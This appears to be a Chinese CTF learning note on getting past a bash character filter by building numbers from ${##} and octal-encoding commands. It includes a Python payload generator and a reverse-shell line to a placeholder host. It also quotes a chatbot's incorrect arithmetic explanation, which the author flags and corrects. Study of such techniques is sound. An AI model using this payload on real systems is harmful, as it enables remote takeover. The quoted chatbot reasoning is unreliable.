前言
这道题没有做,只是看一下构造方法,稍微学一点东西,我们看看源码,原本还想发一个文章,但是自己脚本没有弄好,弄到下午快6点还没有弄好,很烦,然后这个又弄把半天,最后问师傅,师傅一下就给我一眼顶针了
代码
就是只能使用这些来构造字符,按照wp的想法是字符串转化为8进制,8进制就需要数字,就需要构造数字,自己只理解了怎么构造数字
import requests
n = dict()
n[0] = '0'
n[1] = '${##}'
n[2] = '$((${##}<<${##}))'
n[3] = '$(($((${##}<<${##}))#${##}${##}))'
n[4] = '$((${##}<<$((${##}<<${##}))))'
n[5] = '$(($((${##}<<${##}))#${##}0${##}))'
n[6] = '$(($((${##}<<${##}))#${##}${##}0))'
n[7] = '$(($((${##}<<${##}))#${##}${##}${##}))'
f=''
def str_to_oct(cmd): #命令转换成八进制字符串
s = ""
for t in cmd:
o = ('%s' % (oct(ord(t))))[2:] #ord转为ascll,然后oct转为8进制,然后从第三位开始截取
s+='\\'+o #数字加上/ 为8进制形式
return s
def build(cmd): #八进制字符串转换成字符
payload = "$0<<<$0\<\<\<\$\\\'" #开头固定格式,然后就\\来区分数字
s = str_to_oct(cmd).split('\\')
for _ in s[1:]:
payload+="\\\\"
for i in _:
payload+=n[int(i)]
return payload+'\\\''
#弹shell
print(build('bash -i >& /dev/tcp/your-ip/2333 0>&1'))
主要讲讲数字是怎么构造输出的
先看gpt误人子弟的
首先计算 $((${##}<<${##})):
${##} 表示一个特殊的变量,其值为1。
${##}<<${##} 表示将 ${##} 的值左移一位,得到二进制数 10,相当于十进制数值2。
因此,$((${##}<<${##})) 计算结果为2。
接下来将结果2插入到 $(...) 表达式中,即 (2)#${##}${##}:
在结果2的字符串表示中,插入两个 ${##} 变量,即替换两个 # 字符的位置,得到字符串 2#2。
将字符串 2#2 转换为十进制数值,即得到数值11。 ??这是怎么转化的,没看明白???
最终,将计算得到的数值11插入到外层的 $((...)) 中进行计算,即 $(($((${##}<<${##}))#${##}${##})):
替换为 $(11),计算结果为3。 为什么$(11)就等于3呢????
因此,整个表达式的计算过程是:$((2#2)) = $((11)) = 3。
然后就去问师傅
${##}:特殊变量,表示空格字符的数量,即为1
<< 表示移位 1想左移动一位 10 就是2
比如说这个2 就是$((${##}<<${##}))表示$((1<<1))$((10)) 转为2进制是2
比如3 $(($((${##}<<${##}))#${##}${##})) $((2#11)) 表示把11转化为2进制就是3
然后后面类推